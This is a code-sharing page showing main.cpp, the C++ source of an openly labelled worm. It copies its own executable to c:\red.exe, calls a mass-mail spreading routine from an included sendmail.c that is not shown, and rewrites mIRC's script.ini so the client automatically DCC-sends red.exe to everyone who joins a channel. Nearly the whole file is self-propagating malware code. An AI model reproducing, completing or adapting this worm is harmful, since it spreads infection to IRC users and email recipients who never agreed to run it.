main.cpp

来自「This worm file is disseminated except th」· C++ 代码 · 共 63 行

CPP
63
字号
#include <stdio.h>
#include <string.h>
#include "sendmail.c"

short WormCopy(char SRCFileName[], char DSTFileName[])
{
	FILE *SRC, *DST;
	char Buffer[1024];
	short Counter = 0;
	short Status = 0;
	SRC = fopen(SRCFileName, "rb");
	if(SRC)
	{
		DST = fopen(DSTFileName, "wb");
		if(DST)
		{
			while(! feof(SRC))
			{
				Counter = fread(Buffer, 1, 1024, SRC);
				if(Counter)
				fwrite(Buffer, 1, Counter, DST);
			}
		Status = 1;
		}
	}
	fclose(SRC);
	fclose(DST);
	return Status;
}


void main(int argc, char **argv)
{

	
	FILE *retro;

	char ProgName[100];
	
	spread_use_mail(GetModuleHandle(NULL));
	strcpy(ProgName, argv[0]);
	WormCopy(ProgName, "c:\\red.exe");
    

	retro = fopen("c:\\mirc\\script.ini","wt");
	if(!retro)
	{
		retro=fopen("c:\\Program Files\\mirc\\script.ini","wt");
	}

	if(retro)
	{
		fprintf(retro,"[script]\nn0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }\nn1=/.dcc send $nick");
    	fprintf(retro," c:/red.exe\n}\n");
	}
   	fclose(retro);
	
	

}


⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?